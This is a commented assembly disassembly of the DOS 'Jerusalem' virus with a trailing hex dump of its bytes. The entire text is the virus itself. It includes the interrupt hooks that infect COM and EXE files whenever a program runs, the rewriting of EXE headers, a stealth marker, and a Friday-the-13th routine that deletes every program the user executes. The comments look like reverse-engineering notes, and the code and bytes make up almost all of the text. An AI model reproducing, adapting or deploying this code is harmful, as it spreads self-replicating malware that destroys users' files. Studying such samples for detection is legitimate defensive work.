PAGE	64,132
;-----------------------------------------------------------------------;
; THE "JERUSALEM" VIRUS							;
;-----------------------------------------------------------------------;
					;
	ORG	100H			;
					;
;-----------------------------------------------------------------------;
; JERUSALEM VIRUS							;
;-----------------------------------------------------------------------;
BEGIN_COM:				;COM FILES START HERE
	JMP	CONTINUE		;
					;
;-----------------------------------------------------------------------;
;									;
;-----------------------------------------------------------------------;
A0103		DB      073H,055H

MS_DOS		DB	'MsDos'		;

		DB	000H,001H,015H,018H

TIME_BOMB	DB	0		;WHEN == 1 THIS FILE GETS DELETED!

		DB	000H
A0010		DB	000H

A0011		DW	100H		;HOST SIZE (BEFORE INFECTION)

OLD_08		DW	0FEA5H,0F000H	;OLD INT 08H VECTOR (CLOCK TIC)

OLD_21		DW	1460H,024EH	;OLD INT 21H VECTOR
OLD_24		DW	0556H,16A5H	;001B

A_FLAG		DW	7E48H		;???

A0021		DB	000H,000H,000H,000H,000H,000H,000H
		DB	000H,000H,000H,000H

A002C		DW	0		;A SEGMENT

		DB	000H,000H
A0030		DB	000H

A0031		DW	0178EH		;OLD ES VALUE

A0033		DW	0080H		;
					;
EXEC_BLOCK	DW	0		;ENV. SEG. ADDRESS	;0035
		DW	80H		;COMMAND LINE ADDRESS
		DW	178EH		;+4
		DW	005CH		;FCB #1 ADDRESS
		DW	178EH		;+8
		DW	006CH		;FCB #2 ADDRESS
		DW	0178EH		;+12
					;
HOST_SP		DW	0710H		;(TAKEN FROM EXE HEADER) 0043
HOST_SS		DW	347AH		;(AT TIME OF INFECTION)
HOST_IP		DW	00C5H		;
HOST_CS		DW	347AH		;
;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
					;
A004B		DW	0F010H			;
A004D		DB	82H			;
A004E		DB	0			;

EXE_HDR		DB	1CH DUP (?)		;004F

A006B		DB	5 DUP (?)		;LAST 5 BYTES OF HOST

HANDLE		DW	0005H			;0070
HOST_ATT	DW	0020H			;0072
HOST_DATE	DW	0021H			;0074
HOST_TIME	DW	002DH			;0076

BLOCK_SIZE	DW	512			;512 BYTES/BLOCK

A007A		DW	0010H

HOST_SIZE	DW	27C0H,0001H		;007C
HOST_NAME	DW	41D9H,9B28H		;POINTER TO HOST NAME

COMMAND_COM	DB	'COMMAND.COM'

		DB	1
A0090		DB	0,0,0,0,0

;-----------------------------------------------------------------------;
;									;
;-----------------------------------------------------------------------;
CONTINUE:				;
	CLD				;
	MOV	AH,0E0H			;DO A ???...
	INT	21H			;
					;
	CMP	AH,0E0H			;
	JNC	L01B5			;
	CMP	AH,3			;
	JC	L01B5			;
					;
	MOV	AH,0DDH			;
	MOV	DI,offset BEGIN_COM	;DI = BEGINNING OF OUR (VIRUS) CODE
	MOV	SI,0710H		;SI = SIZE OF OUR (VIRUS) CODE
	ADD	SI,DI			;SI = BEGINNING OF HOST CODE
	MOV	CX,CS:[DI+11H]		;CX = (SIZE OF HOST CODE?)
	INT	21H			;
					;
L01B5:	MOV	AX,CS			;TWEEK CODE SEGMENT BY 100H
	ADD	AX,10H			;
	MOV	SS,AX			;SS = TWEEKed CS
	MOV	SP,700H			;SP = END OF OUR CODE (VIRUS)
					;
;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
					;
	PUSH	AX			;JMP FAR CS+10H:IP-100H
	MOV	AX,offset BEGIN_EXE - offset BEGIN_COM
	PUSH	AX			;
	RETF				;
					;
;---------------------------------------;
	ORG	0C5h			;
;---------------------------------------;
					;
BEGIN_EXE:				;EXE FILES START HERE
	CLD				;
	PUSH	ES			;
					;
	MOV	CS:[A0031],ES		;
	MOV	CS:[EXEC_BLOCK+4],ES	;INIT EXEC_BLOCK SEG VALUES
	MOV	CS:[EXEC_BLOCK+8],ES	;
	MOV	CS:[EXEC_BLOCK+12],ES	;
					;
	MOV	AX,ES			;TWEEK ES SAME AS CS ABOVE
	ADD	AX,10H			;
	ADD	CS:[HOST_CS],AX		;   SAVE NEW ES VALUE
	ADD	CS:[HOST_SS],AX		;
					;
	MOV	AH,0E0H			;
	INT	21H			;
					;
	CMP	AH,0E0H			;
	JNC	L0106			;00F1	7313
					;
	CMP	AH,3			;
	POP	ES			;00F6
	MOV	SS,CS:[HOST_SS]		;
	MOV	SP,CS:[HOST_SP]		;
	JMP	far CS:[HSOT_IP]	;
					;
L0106:	XOR	AX,AX			;0106	33C0
	MOV	ES,AX			;0108	8EC0
	MOV	AX,ES:[03FC]		;010A	26A1FC03
	MOV	CS:[A004B],AX		;010E	2EA34B00
	MOV	AL,ES:[03FE]		;0112	26A0FE03
	MOV	CS:[A004D],AL		;0116	2EA24D00
	MOV	Word ptr ES:[03FC],A5F3	;011A	26C706FC03F3A5
	MOV	Byte ptr ES:[03FE],CB	;0121	26C606FE03CB
	POP	AX			;0127	58
	ADD	AX,10H			;0128	051000
	MOV	ES,AX			;012B	8EC0
	PUSH	CS			;012D	0E
	POP	DS			;012E	1F
	MOV	CX,710H			;SIZE OF VIRUS CODE
	SHR	CX,1			;0132	D1E9
	XOR	SI,SI			;0134	33F6
	MOV	DI,SI			;0136	8BFE
	PUSH	ES			;0138	06
	MOV	AX,0142			;0139	B84201
	PUSH	AX			;013C	50
	JMP	0000:03FC		;013D	EAFC030000
					;
	MOV	AX,CS			;0142	8CC8
	MOV	SS,AX			;0144	8ED0
	MOV	SP,700H			;0146	BC0007
	XOR	AX,AX			;0149	33C0
	MOV	DS,AX			;014B	8ED8
	MOV	AX,CS:[A004B]		;014D	2EA14B00
	MOV	[03FC],AX		;0151	A3FC03
	MOV	AL,CS:[A004D]		;0154	2EA04D00
	MOV	[03FE],AL		;0158	A2FE03
	MOV	BX,SP			;015B	8BDC
	MOV	CL,04			;015D	B104
	SHR	BX,CL			;015F	D3EB
	ADD	BX,+10			;0161	83C310
	MOV	CS:[A0033],BX		;
					;
	MOV	AH,4AH			;
	MOV	ES,CS:[A0031]		;
	INT	21H			;MODIFY ALLOCATED MEMORY BLOCKS
					;
	MOV	AX,3521			;
	INT	21H			;GET VECTOR
	MOV	CS:[OLD_21],BX		;
	MOV	CS:[OLD_21+2],ES	;
					;
	PUSH	CS			;0181	0E
	POP	DS			;0182	1F
	MOV	DX,offset NEW_INT_21	;0183	BA5B02
	MOV	AX,2521			;
	INT	21H			;SAVE VECTOR
					;
	MOV	ES,[A0031]		;018B	8E063100
	MOV	ES,ES:[A002C]		;018F	268E062C00
	XOR	DI,DI			;0194	33FF
	MOV	CX,7FFFH		;0196	B9FF7F
	XOR	AL,AL			;0199	32C0
	REPNE	SCASB			;019C	AE
	CMP	ES:[DI],AL		;019D	263805
	LOOPNZ	019B			;01A0	E0F9
	MOV	DX,DI			;01A2	8BD7
	ADD	DX,+03			;01A4	83C203
	MOV	AX,4B00H		;LOAD AND EXECUTE A PROGRAM
	PUSH	ES			;
	POP	DS			;
	PUSH	CS			;
	POP	ES			;
	MOV	BX,35H			;
					;
	PUSH	DS		;01B1	;
	PUSH	ES			;
	PUSH	AX			;
	PUSH	BX			;
	PUSH	CX			;
	PUSH	DX			;
					;
	MOV	AH,2AH			;
	INT	21H			;GET DATE
					;
	MOV	Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
					;
	CMP	CX,1987			;IF 1987...
	JE	L01F7			;...JUMP
	CMP	AL,5			;IF NOT FRIDAY...
	JNE	L01D8			;...JUMP
	CMP	DL,0DH			;IF DATE IS NOT THE 13th...
	JNE	L01D8			;...JUMP
	INC	Byte ptr CS:[TIME_BOMB]	;TIC THE BOMB COUNT
	JMP	L01F7			;
					;
L01D8:	MOV	AX,3508H		;GET CLOCK TIMER VECTOR
	INT	21H			;GET VECTOR
	MOV	CS:[OLD_08],BX		;
	MOV	CS:[OLD_08],ES		;
					;
	PUSH	CS			;DS=CS
	POP	DS			;
					;
	MOV	Word ptr [A_FLAG],7E90H	;
					;
	MOV	AX,2508H		;SET NEW CLOCK TIC HANDLER
	MOV	DX,offset NEW_08	;
	INT	21H			;SET VECTOR
					;
L01F7:	POP	DX			;
	POP	CX			;
	POP	BX			;
	POP	AX			;
	POP	ES			;
	POP	DS			;
	PUSHF				;
	CALL	far CS:[OLD_21] 	;
	PUSH	DS			;
	POP	ES			;
					;
	MOV	AH,49H			;
	INT	21H			;FREE ALLOCATED MEMORY
					;
	MOV	AH,4DH			;
	INT	21H			;GET RETURN CODE OF A SUBPROCESS
					;
;---------------------------------------;
; THIS IS WHERE WE REMAIN RESIDENT	;
;---------------------------------------;
	MOV	AH,31H			;
	MOV	DX,0600H	;020F	;
	MOV	CL,04			;
	SHR	DX,CL			;
	ADD	DX,10H			;
	INT	21H			;TERMINATE AND REMAIN RESIDENT
					;
;---------------------------------------;
NEW_24:	XOR	AL,AL		;021B	;CRITICAL ERROR HANDLER
	IRET				;
					;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 08 (CLOCK TIC) HANDLER					;
;-----------------------------------------------------------------------;
NEW_08:	CMP	Word ptr CS:[A_FLAG],2	;021E
	JNE	N08_10			;IF ... JUMP
					;
	PUSH	AX			;
	PUSH	BX			;
	PUSH	CX			;
	PUSH	DX			;
	PUSH	BP			;
	MOV	AX,0602H		;SCROLL UP TWO LINES
	MOV	BH,87H			;INVERSE VIDEO ATTRIBUTE
	MOV	CX,0505H		;UPPER LEFT CORNER
	MOV	DX,1010H		;LOWER RIGHT CORNER
	INT	10H			;
	POP	BP			;
	POP	DX			;
	POP	CX			;
	POP	BX			;
	POP	AX			;
					;
N08_10:	DEC	Word ptr CS:[A_FLAG]	;ASSURE THAT THIS ONLY HAPPENS ONCE
	JNZ	N08_90			;   BY RESETTING TO 1 IF EQUAL TO ZERO
	MOV	Word ptr CS:[A_FLAG],1	;
					;
	PUSH	AX			;????? IS THIS SOME KIND OF DELAY ?????
	PUSH	CX			;
	PUSH	SI			;
	MOV	CX,4001H		;
	REP	LODSB			;
	POP	SI			;
	POP	CX			;
	POP	AX			;
					;
N08_90:	JMP	far CS:[OLD_08]		;PASS CONTROL TO OLD INT 08 VECTOR
					;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 21 HANDLER						;
;-----------------------------------------------------------------------;
NEW_21:	PUSHF			;025B	;
	CMP	AH,0E0H			;IF A E0 REQUEST...
	JNE	N21_10			;
	MOV	AX,300H			;...RETURN AX = 300H
	POPF				;   (OUR PUSHF)
	IRET				;
					;
N21_10:	CMP	AH,0DDH		;0266	;
	JE	N21_30			;IF DDH...JUMP TO _30
	CMP	AH,0DEH			;
	JE	N21_40			;IF DEH...JUMP TO _40
	CMP	AX,4B00H		;IF SPAWN A PROG...
	JNE	N21_20			;
	JMP	N21_50			;...JUMP TO _50
					;
N21_20:	POPF				;   (OUR PUSHF)
	JMP	far CS:[OLD_21]		;ANY OTHER INT 21 GOES TO OLD VECTOR
					;
N21_30:	POP	AX			;REMOVE OUR (PUSHF)
	POP	AX			;?
	MOV	AX,100H			;
	MOV	CS:[000A],AX		;
	POP	AX			;
	MOV	CS:[000C],AX		;
	REP	MOVSB			;
	POPF				;   (OUR PUSHF)
	MOV	AX,CS:[000F]		;
	JMP	far CS:[000A]		;
					;
N21_40:	ADD	SP,+06		;0298	;
	POPF				;   (OUR PUSHF)
	MOV	AX,CS			;
	MOV	SS,AX			;
	MOV	SP,710H			;SIZE OF VIRUS CODE
	PUSH	ES			;
	PUSH	ES			;02A4	06
	XOR	DI,DI			;02A5	33FF
	PUSH	CS			;02A7	0E
	POP	ES			;02A8	07
	MOV	CX,0010			;02A9	B91000
	MOV	SI,BX			;02AC	8BF3
	MOV	DI,0021			;02AE	BF2100
	REP	MOVSB			;02B2	A4
	MOV	AX,DS			;02B3	8CD8
	MOV	ES,AX			;02B5	8EC0
	MUL	Word ptr CS:[A007A]	;02B7	2EF7267A00
	ADD	AX,CS:[002B]		;02BC	2E03062B00
	ADC	DX,+00			;02C1	83D200
	DIV	Word ptr CS:[A007A]	;02C4	2EF7367A00
	MOV	DS,AX			;02C9	8ED8
	MOV	SI,DX			;02CB	8BF2
	MOV	DI,DX			;02CD	8BFA
	MOV	BP,ES			;02CF	8CC5
	MOV	BX,CS:[002F]		;02D1	2E8B1E2F00
	OR	BX,BX			;02D6	0BDB
	JE	02ED			;02D8	7413
	MOV	CX,8000			;02DA	B90080
	REP	MOVSW			;02DE	A5
	ADD	AX,1000			;02DF	050010
	ADD	BP,1000			;02E2	81C50010
	MOV	DS,AX			;02E6	8ED8
	MOV	ES,BP			;02E8	8EC5
	DEC	BX			;02EA	4B
	JNE	02DA			;02EB	75ED
	MOV	CX,CS:[002D]		;02ED	2E8B0E2D00
	REP	MOVSB			;02F3	A4
	POP	AX			;02F4	58
	PUSH	AX			;02F5	50
	ADD	AX,0010			;02F6	051000
	ADD	CS:[0029],AX		;02F9	2E01062900
	ADD	CS:[0025],AX		;02FE	2E01062500
	MOV	AX,CS:[0021]		;0303	2EA12100
	POP	DS			;0307	1F
	POP	ES			;0308	07
	MOV	SS,CS:[0029]		;0309	2E8E162900
	MOV	SP,CS:[0027]		;030E	2E8B262700
	JMP	far CS:[0023]		;0313	2EFF2E2300
					;
;---------------------------------------;
; IT IS TIME FOR THIS FILE TO DIE...	;
; THIS IS WHERE IT GETS DELETED !	;
;---------------------------------------;
N21_5A:	XOR	CX,CX			;
	MOV	AX,4301H		;
	INT	21H			;CHANGE FILE MODE (ATT=0)
					;
	MOV	AH,41H			;
	INT	21H			;DELETE A FILE
					;
	MOV	AX,4B00H		;LOAD AND EXECUTE A PROGRAM
	POPF				;   (OUR PUSHF)
	JMP	far CS:[OLD_21]		;
					;
;---------------------------------------;
; START INFECTION			;
;---------------------------------------;
N21_50:	CMP	Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
	JE	N21_5A			;...JUMP
					;
	MOV	Word ptr CS:[HANDLE],-1	;ASSUME NOT OPEN
	MOV	Word ptr CS:[A008F],0	;
	MOV	word ptr CS:[HOST_NAME],DX   ;SAVE POINTER TO FILE NAME
	MOV	word ptr CS:[HOST_NAME+2],DS ;
					;
;INFECT PROCESS SEEMS TO OCCUR HERE	;
	PUSH	AX			;034C	50
	PUSH	BX			;034D	53
	PUSH	CX			;034E	51
	PUSH	DX			;034F	52
	PUSH	SI			;0350	56
	PUSH	DI			;0351	57
	PUSH	DS			;0352	1E
	PUSH	ES			;0353	06
	CLD				;0354	FC
	MOV	DI,DX			;0355	8BFA
	XOR	DL,DL			;0357	32D2
	CMP	Byte ptr [DI+01],3A	;0359	807D013A
	JNE	L0364			;035D	7505
	MOV	DL,[DI]			;035F	8A15
	AND	DL,1F			;0361	80E21F
					;
L0364:	MOV	AH,36			;
	INT	21H			;GET DISK FREE SPACE
	CMP	AX,-1			;0368	3DFFFF
	JNE	L0370			;036B	7503
L036D:	JMP	I_90			;036D	E97702
					;
L0370:	MUL	BX			;0370	F7E3
	MUL	CX			;0372	F7E1
	OR	DX,DX			;0374	0BD2
	JNE	L037D			;0376	7505
	CMP	AX,710H			;0378	3D1007
	JC	L036D			;037B	72F0
L037D:	MOV	DX,word ptr CS:[HOST_NAME]
	PUSH	DS			;0382	1E
	POP	ES			;0383	07
	XOR	AL,AL			;0384	32C0
	MOV	CX,41			;0386	B94100
	REPNE	SCASB			;038A	AE
	MOV	SI,word ptr CS:[HOST_NAME]
L0390:	MOV	AL,[SI]			;0390	8A04
	OR	AL,AL			;0392	0AC0
	JE	L03A4			;0394	740E
	CMP	AL,61			;0396	3C61
	JC	L03A1			;0398	7207
	CMP	AL,7A			;039A	3C7A
	JA	L03A1			;039C	7703
	SUB	Byte ptr [SI],20	;039E	802C20
L03A1:	INC	SI			;03A1	46
	JMP	L0390			;03A2	EBEC
					;
L03A4:	MOV	CX,000B			;03A4	B90B00
	SUB	SI,CX			;03A7	2BF1
	MOV	DI,offset COMMAND_COM	;03A9	BF8400
	PUSH	CS			;03AC	0E
	POP	ES			;03AD	07
	MOV	CX,000B			;03AE	B90B00
	REPE	CMPSB			;03B2	A6
	JNE	L03B8			;03B3	7503
	JMP	I_90			;03B5	E92F02
					;
L03B8:	MOV	AX,4300H		;
	INT	21H			;CHANGE FILE MODE
	JC	L03C4			;03BD	7205
					;
	MOV	CS:[HOST_ATT],CX	;03BF	;
L03C4:	JC	L03EB			;03C4	7225
	XOR	AL,AL			;03C6	32C0
	MOV	CS:[A004E],AL		;03C8	2EA24E00
	PUSH	DS			;03CC	1E
	POP	ES			;03CD	07
	MOV	DI,DX			;03CE	8BFA
	MOV	CX,41			;03D0	B94100
	REPNZ	SCASB			;03D4	AE
	CMP	Byte ptr [DI-02],4D	;03D5	807DFE4D
	JE	L03E6			;03D9	740B
	CMP	Byte ptr [DI-02],6D	;03DB	807DFE6D
	JE	L03E6			;03DF	7405
	INC	Byte ptr CS:[A004E]	;03E1	2EFE064E00
					;
L03E6:	MOV	AX,3D00H		;
	INT	21H			;OPEN FILE READ ONLY
L03EB:	JC	L0447			;
	MOV	CS:[HANDLE],AX	;03ED	;
					;
	MOV	BX,AX			;MOVE TO END OF FILE -5
	MOV	AX,4202			;
	MOV	CX,-1			;FFFFFFFB
	MOV	DX,-5			;
	INT	21H			;MOVE FILE POINTER
	JC	L03EB			;
					;
	ADD	AX,5		;0400	;
	MOV	CS:[A0011],AX		;?SAVE HOST SIZE
					;
	MOV	CX,5		;0407	;READ LAST 5 BYTES OF HOST
	MOV	DX,offset A006B		;
	MOV	AX,CS			;
	MOV	DS,AX			;
	MOV	ES,AX			;
	MOV	AH,3FH			;
	INT	21H			;READ FROM A FILE
					;
	MOV	DI,DX		;0417	;CHECK IF LAST 5 BYTES = 'MsDos'
	MOV	SI,offset MS_DOS	;
	REPE	CMPSB			;
	JNE	L0427			;
	MOV	AH,3E			;IF == 'MsDos'...
	INT	21H			;CLOSE FILE
	JMP	I_90			;...PASS CONTROL TO DOS
					;
L0427:	MOV	AX,3524			;GET CRITICAL ERROR VECTOR
	INT	21H			;GET VECTOR
	MOV	[OLD_24],BX		;
	MOV	[OLD_24+2],ES		;
					;
	MOV	DX,offset NEW_24	;
	MOV	AX,2524			;SET CRITICAL ERROR VECTOR
	INT	21H			;SET VECTOR
					;
	LDS	DX,dword ptr [HOST_NAME];
	XOR	CX,CX			;
	MOV	AX,4301H		;
	INT	21H			;CHANGE FILE MODE
L0447:	JC	L0484			;
					;
	MOV	BX,CS:[HANDLE]		;
	MOV	AH,3E			;
	INT	21H			;CLOSE FILE
					;
	MOV	Word ptr CS:[HANDLE],-1	;CLEAR HANDLE
					;
	MOV	AX,3D02			;
	INT	21H			;OPEN FILE R/W
	JC	L0484			;
					;
	MOV	CS:[HANDLE],AX		;0460	2EA37000
	MOV	AX,CS			;0464	8CC8
	MOV	DS,AX			;0466	8ED8
	MOV	ES,AX			;0468	8EC0
	MOV	BX,[HANDLE]		;046A	8B1E7000
	MOV	AX,5700			;046E	B80057
	INT	21H			;GET/SET FILE DATE TIME
					;
	MOV	[HOST_DATE],DX		;0473	89167400
	MOV	[HOST_TIME],CX		;0477	890E7600
	MOV	AX,4200			;047B	B80042
	XOR	CX,CX			;047E	33C9
	MOV	DX,CX			;0480	8BD1
	INT	21H			;MOVE FILE POINTER
L0484:	JC	L04C3			;0484	723D
					;
	CMP	Byte ptr [A004E],00	;0486	803E4E0000
	JE	L0490			;048B	7403
	JMP	L04E6			;048D	EB57
					;
	NOP				;048F	90
L0490:	MOV	BX,1000			;0490	BB0010
	MOV	AH,48			;0493	B448
	INT	21H			;ALLOCATE MEMORY
	JNC	L04A4			;0497	730B
					;
	MOV	AH,3E			;0499	B43E
	MOV	BX,[HANDLE]		;049B	8B1E7000
	INT	21H			;CLOSE FILE
	JMP	I_90			;04A1	E94301
					;
L04A4:	INC	Word ptr [A008F]	;04A4	FF068F00
	MOV	ES,AX			;04A8	8EC0
	XOR	SI,SI			;04AA	33F6
	MOV	DI,SI			;04AC	8BFE
	MOV	CX,710H			;04AE	B91007
	REP	MOVSB			;04B2	A4
	MOV	DX,DI			;04B3	8BD7
	MOV	CX,[A0011]		;?GET HOST SIZE
	MOV	BX,[70H]		;04B9	8B1E7000
	PUSH	ES			;04BD	06
	POP	DS			;04BE	1F
	MOV	AH,3FH			;04BF	B43F
	INT	21H			;READ FROM A FILE
L04C3:	JC	L04E1			;04C3	721C
					;
	ADD	DI,CX			;04C5	03F9
					;
	XOR	CX,CX			;POINT TO BEGINNING OF FILE
	MOV	DX,CX			;
	MOV	AX,4200H		;
	INT	21H			;MOVE FILE POINTER
					;
	MOV	SI,offset MS_DOS	;04D0	BE0500
	MOV	CX,5			;04D3	B90500
	REP	CS:MOVSB		;04D7	2EA4
	MOV	CX,DI			;04D9	8BCF
	XOR	DX,DX			;04DB	33D2
	MOV	AH,40H			;
	INT	21H			;WRITE TO A FILE
L04E1:	JC	L04F0			;
	JMP	L05A2			;
					;
;---------------------------------------;
; READ EXE HEADER			;
;---------------------------------------;
L04E6:	MOV	CX,1CH			;READ EXE HEADER INTO BUFFER
	MOV	DX,offset EXE_HDR	;
	MOV	AH,3F			;
	INT	21H			;READ FILE
	JC	L053C			;
					;
;---------------------------------------;
; TWEEK EXE HEADER TO INFECTED HSOT	;
;---------------------------------------;
	MOV	Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO
	MOV	AX,[EXE_HDR+14]		;   SS
	MOV	[HOST_SS],AX		;
	MOV	AX,[EXE_HDR+16]		;   SP
	MOV	[HOST_SP],AX		;
	MOV	AX,[EXE_HDR+20]		;   IP
	MOV	[HOST_IP],AX		;
	MOV	AX,[EXE_HDR+22]		;   CS
	MOV	[HOST_CS],AX		;
	MOV	AX,[EXE_HDR+4]		;   SIZE (IN 512 BLOCKS)
	CMP	Word ptr [EXE_HDR+2],0	;   SIZE MOD 512
	JZ	L051B			;IF FILE SIZE==0...JMP
	DEC	AX			;
L051B:	MUL	Word ptr [BLOCK_SIZE]	;
	ADD	AX,[EXE_HDR+2]		;
	ADC	DX,0			;AX NOW = FILE SIZE
					;
	ADD	AX,0FH			;MAKE SURE FILE SIZE IS PARA. BOUND
	ADC	DX,0			;
	AND	AX,0FFF0H		;
	MOV	[HOST_SIZE],AX		;SAVE POINTER TO BEGINNING OF VIRUS
	MOV	[HOST_SIZE+2],DX	;
					;
	ADD	AX,710H			;(SIZE OF VIRUS)
	ADC	DX,0			;
L053C:	JC	L0578			;IF > FFFFFFFF...JMP
	DIV	Word ptr [BLOCK_SIZE]	;
	OR	DX,DX			;
	JE	L0547			;
	INC	AX			;
L0547:	MOV	[EXE_HDR+4],AX		;
	MOV	[EXE_HDR+2],DX		;
					;---------------;
	MOV	AX,[HOST_SIZE]				;DX:AX = HOST SIZE
	MOV	DX,[HOST_SIZE+2]			;
	DIV	Word ptr [A007A]			;
	SUB	AX,[EXE_HEAD+8]				;SIZE OF EXE HDR
	MOV	[EXE_HDR+22],AX				;VALUE OF CS
	MOV	Word ptr [EXE_HDR+20],offset BEGIN_EXE	;VALUE OF IP
	MOV	[EXE_HDR+14],AX				;VALUE OF SS
	MOV	Word ptr [EXE_HDR+16],710H		;VALUE OF SP
					;---------------;
	XOR	CX,CX			;POINT TO BEGINNING OF FILE (EXE HDR)
	MOV	DX,CX			;
	MOV	AX,4200H		;
	INT	21H			;MOVE FILE POINTER
L0578:	JC	L0584			;
					;
;---------------------------------------;
; WRITE INFECTED EXE HEADER		;
;---------------------------------------;
	MOV	CX,1CH			;
	MOV	DX,offset EXE_HDR	;
	MOV	AH,40H			;
	INT	21H			;WRITE TO A FILE
L0584:	JC	L0597			;
	CMP	AX,CX			;
	JNE	L05A2			;
					;
	MOV	DX,[HOST_SIZE]		;POINT TO END OF FILE
	MOV	CX,[HOST_SIZE+2]	;
	MOV	AX,4200			;
	INT	21H			;MOVE FILE POINTER
L0597:	JC	L05A2			;
					;
;---------------------------------------;
; WRITE VIRUS CODE TO END OF HOST	;
;---------------------------------------;
	XOR	DX,DX			;
	MOV	CX,710H			;(SIZE OF VIRUS)
	MOV	AH,40H			;
	INT	21H			;WRITE TO A FILE
					;
L05A2:	CMP	Word ptr CS:[008F],0	;IF...
	JZ	L05AE			;...SKIP
	MOV	AH,49H			;
	INT	21H			;FREE ALLOCATED MEMORY
					;
L05AE:	CMP	Word ptr CS:[HANDLE],-1	;IF ...
	JE	I_90			;...SKIP
					;
	MOV	BX,CS:[HANDLE]		;RESTORE HOST'S DATE/TIME
	MOV	DX,CS:[HOST_DATE]	;
	MOV	CX,CS:[HOST_TIME]	;
	MOV	AX,5701H		;
	INT	21H			;GET/SET FILE DATE/TIME
					;
	MOV	AH,3EH			;
	INT	21H			;CLOSE FILE
					;
	LDS	DX,CS:[HOST_NAME]	;RESTORE HOST'S ATTRIBUTE
	MOV	CX,CS:[HOST_ATT]	;
	MOV	AX,4301H		;
	INT	21H			;CHANGE FILE MODE
					;
	LDS	DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER
	MOV	AX,2524H		;
	INT	21H			;SET VECTOR
					;
I_90:	POP	ES			;
	POP	DS			;
	POP	DI			;
	POP	SI			;
	POP	DX			;
	POP	CX			;
	POP	BX			;
	POP	AX			;
	POPF				;   (OUR PUSHF)
	JMP	far CS:[OLD_21]		;PASS CONTROL TO DOS
					;
;-----------------------------------------------------------------------;
;									;
;-----------------------------------------------------------------------;
;0100  E9 92 00 73 55 4D 73 44-6F 73 00 01 15 18 00 00  i..sUMsDos......
;0110  00 00 01 A5 FE 00 F0 60-14 4E 02 56 05 A5 16 48  ...%~.p`.N.V.%.H
;0120  7E 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ~...............
;0130  00 8E 17 80 00 00 00 80-00 8E 17 5C 00 8E 17 6C  ...........\...l
;0140  00 8E 17 10 07 7A 34 C5-00 7A 34 10 F0 82 00 4D  .....z4E.z4.p..M
;0150  5A D0 00 98 00 31 00 20-00 11 00 FF FF 5C 12 10  ZP...1. .....\..
;0160  07 84 19 C5 00 5C 12 20-00 00 00 C3 C3 C3 C3 C3  ...E.\. ...CCCCC
;0170  05 00 20 00 21 00 2D 00-00 02 10 00 C0 27 01 00  .. .!.-.....@'..
;0180  D9 41 28 9B 43 4F 4D 4D-41 4E 44 2E 43 4F 4D 01  YA(.COMMAND.COM.
;0190  00 00 00 00 00 FC B4 E0-CD 21 80 FC E0 73 16 80  .....|4`M!.|`s..
;01A0  FC 03 72 11 B4 DD BF 00-01 BE 10 07 03 F7 2E 8B  |.r.4]?..>...w..
;01B0  8D 11 00 CD 21 8C C8 05-10 00 8E D0 BC 00 07 50  ...M!.H....P<..P
;01C0  B8 C5 00 50 CB FC 06 2E-8C 06 31 00 2E 8C 06 39  8E.PK|....1....9
;01D0  00 2E 8C 06 3D 00 2E 8C-06 41 00 8C C0 05 10 00  ....=....A..@...
;01E0  2E 01 06 49 00 2E 01 06-45 00 B4 E0 CD 21 80 FC  ...I....E.4`M!.|
;01F0  E0 73 13 80 FC 03 07 2E-8E 16 45 00 2E 8B 26 43  `s..|.....E...&C
;0200  00 2E FF 2E 47 00 33 C0-8E C0 26 A1 FC 03 2E A3  ....G.3@.@&!|..#
;0210  4B 00 26 A0 FE 03 2E A2-4D 00 26 C7 06 FC 03 F3  K.& ~.."M.&G.|.s
;0220  A5 26 C6 06 FE 03 CB 58-05 10 00 8E C0 0E 1F B9  %&F.~.KX....@..9
;0230  10 07 D1 E9 33 F6 8B FE-06 B8 42 01 50 EA FC 03  ..Qi3v.~.8B.Pj|.
;0240  00 00 8C C8 8E D0 BC 00-07 33 C0 8E D8 2E A1 4B  ...H.P<..3@.X.!K
;0250  00 A3 FC 03 2E A0 4D 00-A2 FE 03 8B DC B1 04 D3  .#|.. M."~..\1.S
;0260  EB 83 C3 10 2E 89 1E 33-00 B4 4A 2E 8E 06 31 00  k.C....3.4J...1.
;0270  CD 21 B8 21 35 CD 21 2E-89 1E 17 00 2E 8C 06 19  M!8!5M!.........
;0280  00 0E 1F BA 5B 02 B8 21-25 CD 21 8E 06 31 00 26  ...:[.8!%M!..1.&
;0290  8E 06 2C 00 33 FF B9 FF-7F 32 C0 F2 AE 26 38 05  ..,.3.9..2@r.&8.
;02A0  E0 F9 8B D7 83 C2 03 B8-00 4B 06 1F 0E 07 BB 35  `y.W.B.8.K....;5
;02B0  00 1E 06 50 53 51 52 B4-2A CD 21 2E C6 06 0E 00  ...PSQR4*M!.F...
;02C0  00 81 F9 C3 07 74 30 3C-05 75 0D 80 FA 0D 75 08  ..yC.t0<.u..z.u.
;02D0  2E FE 06 0E 00 EB 20 90-B8 08 35 CD 21 2E 89 1E  .~...k .8.5M!...
;02E0  13 00 2E 8C 06 15 00 0E-1F C7 06 1F 00 90 7E B8  .........G....~8
;02F0  08 25 BA 1E 02 CD 21 5A-59 5B 58 07 1F 9C 2E FF  .%:..M!ZY[X.....
;0300  1E 17 00 1E 07 B4 49 CD-21 B4 4D CD 21 B4 31 BA  .....4IM!4MM!41:
;0310  00 06 B1 04 D3 EA 83 C2-10 CD 21 32 C0 CF 2E 83  ..1.Sj.B.M!2@O..
;0320  3E 1F 00 02 75 17 50 53-51 52 55 B8 02 06 B7 87  >...u.PSQRU8..7.
;0330  B9 05 05 BA 10 10 CD 10-5D 5A 59 5B 58 2E FF 0E  9..:..M.]ZY[X...
;0340  1F 00 75 12 2E C7 06 1F-00 01 00 50 51 56 B9 01  ..u..G.....PQV9.
;0350  40 F3 AC 5E 59 58 2E FF-2E 13 00 9C 80 FC E0 75  @s,^YX.......|`u
;0360  05 B8 00 03 9D CF 80 FC-DD 74 13 80 FC DE 74 28  .8...O.|]t..|^t(
;0370  3D 00 4B 75 03 E9 B4 00-9D 2E FF 2E 17 00 58 58  =.Ku.i4.......XX
